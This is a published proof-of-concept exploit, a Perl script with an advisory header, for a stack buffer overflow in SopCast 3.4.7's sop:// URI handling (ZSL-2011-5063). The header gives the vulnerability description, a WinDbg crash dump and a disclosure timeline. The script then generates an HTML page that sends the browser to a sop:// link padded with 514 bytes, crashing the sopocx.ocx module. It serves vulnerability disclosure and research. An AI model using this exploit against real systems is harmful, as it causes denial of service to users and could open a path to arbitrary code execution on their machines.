SopCast 3.4.7 – ‘sop://’ URI Handling Remote Stack Buffer Overflow (PoC)
#!/usr/bin/perl # # # SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC # # # Vendor: SopCast.com # Product web page: http://www.sopcast.com # Affected version: 3.4.7.45585 # # Summary: SopCast is a simple, free way to broadcast video and audio or watch # the video and listen to radio on the Internet. Adopting P2P(Peer-to-Peer) # technology, It is very efficient and easy to use. SoP is the abbreviation for # Streaming over P2P. Sopcast is a Streaming Direct Broadcasting System based # on P2P. The core is the communication protocol produced by Sopcast Team, which # is named sop://, or SoP technology. # # Desc: SopCast suffers from a stack-based buffer overflow vulnerability when # parsing the user input using the SoP protocol in sopocx.ocx module allowing # the attacker to gain system access and execute arbitrary code on the affected # machine. The issue is triggered when adding 514 bytes of string to the sop:// # protocol (GET), causing the app to open the link (channel) and crashing. The # application will crash even with 'sop://[anything]' because it fails to properly # sanitize and handle the uri segment, but with exactly 514 bytes the stack gets # overflowed, poping out the Buffer Overrun error box. Unsuccessful atempts causes # denial of service scenario. You can also edit the '<address>' element in the # favorites.xml file as the attack vector. # # # ================================================================================ # # (e50.fcc): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=01092f48 ebx=00f8e8e8 ecx=000000b7 edx=0116a7dc esi=00000001 edi=0104af88 # eip=100a350f esp=0618febc ebp=0618ffa8 iopl=0 nv up ei pl zr na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 # *** WARNING: Unable to verify checksum for C:\PROGRA~1\SopCast\sopocx.ocx # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\SopCast\sopocx.ocx - # sopocx!DllUnregisterServer+0x9217f: # 100a350f 0fb606 movzx eax,byte ptr [esi] ds:0023:00000001=?? # ... # 0:000> d esp+400 # 0012ea78 18 10 ea 00 73 00 6f 00-70 00 3a 00 2f 00 2f 00 ....s.o.p.:././. # 0012ea88 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012ea98 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012eaa8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012eab8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012eac8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012ead8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0012eae8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # ... # 0:008> d edx+1000 # 00f2f8b0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f8c0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f8d0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f8e0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f8f0 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f900 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f910 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f2f920 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 0:008> d eax+2000 # 00f320e8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f320f8 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32108 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32118 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32128 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32138 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32148 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # 00f32158 61 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 a.a.a.a.a.a.a.a. # # ================================================================================ # # # Tested on: Microsoft Windows XP Professional SP3 (English) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Zero Science Lab - http://www.zeroscience.mk # # # Vendor status: # # [30.11.2011] Vulnerability discovered. # [01.12.2011] Contact with the vendor with sent detailed info. # [04.12.2011] No response from the vendor. # [05.12.2011] Public security advisory released. # # # Advisory ID: ZSL-2011-5063 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5063.php # # # 30.11.2011 # use strict; my $fname = "thricer.html"; print "\n\nooooooooooooooooooooooooooooooooooooooooooooooooo\no"." "x47 ."o\n"; print "o\tSopCast 3.4.7 URI Handling BoF PoC" . " "x6 . "o\no"." "x47 ."o\no\t\t"; print "ID: ZSL-2011-5063"." "x15 ."o\no"." "x47 ."o\n"; print "o\tCopyleft (c) 2011, Zero Science Lab"." "x5 ."o\no"." "x47 ."o\n"; print "ooooooooooooooooooooooooooooooooooooooooooooooooo\n\n"; my $curiosity = "\n</center>\n</body>\n</html>"; my $unknown = "<form>\n<input type=\"button\" value=\"Push The Button!\" "; my $with = "onclick=\"exploit()\" />" . "\n</form>"; my $of = "<body bgcolor=\"#002233\">\n<br /><br />\n<center>\n"; my $fear = "</script>\n</head>\n"; my $replace = "<html>\n<head>\n<title>". "SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer". " Overflow PoC</title>\n". "<script type=\"text/javascript\">\n"; my $code = "window.location.href = \"sop://"."A"x514 ."\";\n"; my $the = "function exploit()\n{\n" . $code . "}\n"; my $payload = $replace.$the.$fear.$of.$unknown.$with.$curiosity; print "\n\n[*] Creating $fname file...\n"; open ENOUGH, ">./$fname" || die "\nCan't open $fname: $!"; print ENOUGH $payload; print "\n"; sleep 1; print "\n[.] File successfully scripted!\n\n"; close ENOUGH; |